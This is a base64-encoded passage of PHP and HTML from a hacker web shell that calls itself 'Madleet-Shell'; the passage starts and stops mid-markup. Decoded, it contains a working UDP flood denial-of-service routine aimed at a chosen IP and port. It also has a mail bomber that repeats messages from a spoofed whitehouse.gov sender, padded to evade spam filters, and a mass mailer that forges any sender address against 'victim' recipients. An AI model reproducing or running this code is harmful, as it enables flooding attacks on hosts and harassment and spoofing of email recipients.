ICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSIxMjcuMC4wLjEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEyNy4wLjAuMScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMjcuMC4wLjEnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIFBvcnQgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InBvcnQiIHZhbHVlPSI4MCIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnODAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nODAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWUiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiB0aW1lcyANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBNZXNzYWdlIDxmb250IGNvbG9yPSJyZWQiPihUaGUgbWVzc2FnZSBTaG91bGQgYmUgbG9uZyBhbmQgaXQgd2lsbCBiZSBtdWx0aXBsaWVkIHdpdGggdGhlIHZhbHVlIGFmdGVyIGl0KTwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2UiIHZhbHVlPSIlUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJyVTJXgtLVNvbWUgR2FyYmFnZSBoZXJlIC0tJXglUycpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICB4IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJ3aWR0aDogMzBweDsiIGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2VNdWx0aXBsaWVyIiB2YWx1ZT0iMTAiIC8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDw/cGhwIA0KICAgIH0gDQp9IA0KDQoNCi8vRERvcyANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnZG9zJ10pKSANCnsgDQogICAgaWYoaXNzZXQoJF9HRVRbJ2lwJ10pICYmIA0KICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ3RpbWVvdXQnXSkgJiYgDQogICAgaXNzZXQoJF9HRVRbJ2V4VGltZSddKSAmJiANCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgDQogICAgJF9HRVRbJ3BvcnQnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiANCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIA0KICAgICRfR0VUWydleFRpbWUnXSAhPSAiIiANCiAgICApIA0KICAgIHsgDQogICAgICAgJElQPSRfR0VUWydpcCddOyANCiAgICAgICAkcG9ydD0kX0dFVFsncG9ydCddOyANCiAgICAgICAkZXhlY3V0aW9uVGltZSA9ICRfR0VUWydleFRpbWUnXTsgDQogICAgICAgJG5vT2ZCeXRlcyA9ICRfR0VUWydub09mQnl0ZXMnXTsgDQogICAgICAgJGRhdGEgPSAiIjsgDQogICAgICAgJHRpbWVvdXQgPSAkX0dFVFsndGltZW91dCddOyANCiAgICAgICAkcGFja2V0cyA9IDA7IA0KICAgICAgICRjb3VudGVyID0gJG5vT2ZCeXRlczsgDQogICAgICAgJG1heFRpbWUgPSB0aW1lKCkgKyAkZXhlY3V0aW9uVGltZTs7IA0KICAgICAgIHdoaWxlKCRjb3VudGVyLS0pIA0KICAgICAgIHsgDQogICAgICAgICAgICAkZGF0YSAuPSAiWCI7IA0KICAgICAgIH0gDQogICAgICAgJGRhdGEgLj0gIi1ieS1NYWRsZWV0LVNoZWxsIjsgIA0KICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IA0KICAgICAgICANCiAgICAgICB3aGlsZSgxKSANCiAgICAgICB7IA0KICAgICAgICAgICAgJHNvY2tldCA9IGZzb2Nrb3BlbigidWRwOi8vJElQIiwgJHBvcnQsICRlcnJvciwgJGVycm9yU3RyaW5nLCAkdGltZW91dCk7IA0KICAgICAgICAgICAgaWYoJHNvY2tldCkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkc29ja2V0ICwgJGRhdGEpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IA0KICAgICAgICAgICAgICAgICRwYWNrZXRzKys7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGlmKHRpbWUoKSA+PSAkbWF4VGltZSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0REb3MgQ29tcGxldGVkIScpOzwvc2NyaXB0PiI7IA0KICAgICAgICBlY2hvICJET1MgYXR0YWNrIGFnYWluc3QgdWRwOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgDQogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgDQogICAgICAgIGVjaG8gIlRvdGFsIERhdGEgU2VudCA9ICIuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkcGFja2V0cyokbm9PZkJ5dGVzKSAuICI8YnIgLz4iOyAgDQogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9zIiAvPiANCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIElQIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA8Zm9udCBjb2xvcj0icmVkIj4oVGltZSBpbiBzZWNvbmRzKTwvZm9udD4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVvdXQiIHZhbHVlPSI1IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc1Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzUnOyIgLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRXhlY3V0aW9uIFRpbWUgPGZvbnQgY29sb3I9InJlZCI+KFRpbWUgaW4gc2Vjb25kcyk8L2ZvbnQ+ICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0iZXhUaW1lIiB2YWx1ZT0iMTAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEwJzsiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiBCeXRlcyBwZXIvcGFja2V0IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJub09mQnl0ZXMiIHZhbHVlPSI5OTk5OTkiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzk5OTk5OScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc5OTk5OTknOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgDQogICAgICAgIDwvZm9ybT4gDQogICAgICAgIDw/cGhwIA0KICAgIH0gDQp9IA0KDQovLyBNYWlsIEJvbWJlciANCg0KZWxzZSBpZihpc3NldCgkX0dFVFsnYm9tYiddKSkgDQp7IA0KICAgIGlmKCANCiAgICAgICAgaXNzZXQoJF9HRVRbJ3RvJ10pICYmIA0KICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiANCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgJiYgDQogICAgICAgIGlzc2V0KCRfR0VUWyd0aW1lcyddKSAmJiANCiAgICAgICAgJF9HRVRbJ3RvJ10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWydzdWJqZWN0J10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWydtZXNzYWdlJ10gIT0gJycgJiYgDQogICAgICAgICRfR0VUWyd0aW1lcyddICE9ICcnIA0KICAgICkgDQogICAgeyANCiAgICAgICAgJHRpbWVzID0gJF9HRVRbJ3RpbWVzJ107IA0KICAgICAgICB3aGlsZSgkdGltZXMtLSkgDQogICAgICAgIHsgDQogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsncGFkZGluZyddKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICRmcm9tUGFkZCA9IHJhbmQoMCw5OTk5KTsgDQogICAgICAgICAgICAgICAgJHN1YmplY3RQYWRkID0gIiAtLSBJRCA6ICIucmFuZCgwLDk5OTk5OTkpOyANCiAgICAgICAgICAgICAgICAkbWVzc2FnZVBhZGQgPSAiXG5cbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIi5yYW5kKDAsOTk5OTk5OTkpOyANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJGZyb20gPSAicHJlc2lkZW50JGZyb21QYWRkQHdoaXRlaG91c2UuZ292IjsgDQogICAgICAgICAgICBpZighbWFpbCgkX0dFVFsndG8nXSwkX0dFVFsnc3ViamVjdCddLiRzdWJqZWN0UGFkZCwkX0dFVFsnbWVzc2FnZSddLiRtZXNzYWdlUGFkZCwiRnJvbToiLiRmcm9tKSkgDQogICAgICAgICAgICB7IA0KICAgICAgICAgICAgICAgICRlcnJvciA9IDE7IA0KICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+U29tZSBFcnJvciBPY2N1cmVkITwvcD4iOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkZXJyb3IgIT0gMSkgDQogICAgICAgIHsgDQogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPk1haWwocykgU2VudCE8L3A+IjsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBlbHNlIA0KICAgIHsgDQogICAgICAgID8+IA0KICAgICAgICA8Zm9ybSBtZXRob2Q9IkdFVCI+IA0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYm9tYiIgLz4gDQogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBUbyAgDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8dGQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gDQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gDQogICAgICAgICAgICAgICAgICAgICAgICBOby4gb2YgVGltZXMgICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBQYWQgeW91ciBtZXNzYWdlIChMZXNzIHNwYW0gZGV0ZWN0aW9uKSANCiAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icGFkZGluZyIvPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPk1hZGxlZXQtU2hlbGwgUm9ja3MhITwvdGV4dGFyZWE+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IlNlbmQhIDpEIi8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIA0KICAgICAgICA8L2Zvcm0+ICAgIA0KICAgICAgICA8P3BocCANCiAgICB9IA0KfSANCg0KDQovL01hc3MgTWFpbGVyIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydtYWlsJ10pKSANCnsgDQogICAgaWYoIA0KICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgDQogICAgICAgIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIA0KICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiANCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgDQogICAgKSANCiAgICB7IA0KDQogICAgICAgIGlmKG1haWwoJF9HRVRbJ3RvJ10sJF9HRVRbJ3N1YmplY3QnXSwkX0dFVFsnbWVzc2FnZSddLCJGcm9tOiIuJF9HRVRbJ2Zyb20nXSkpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsIFNlbnQhPC9wPiI7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5Tb21lIEVycm9yIE9jY3VyZWQhPC9wPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICA/PiANCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1haWwiIC8+IA0KICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRnJvbSANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZnJvbSIgdmFsdWU9InByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdiIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAncHJlc2lkZW50QHdoaXRlaG91c2UuZ292Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdic7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgVG8gIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJ0byIgdmFsdWU9InZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgU3ViamVjdCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ikp1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISc7IiAvPg0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAg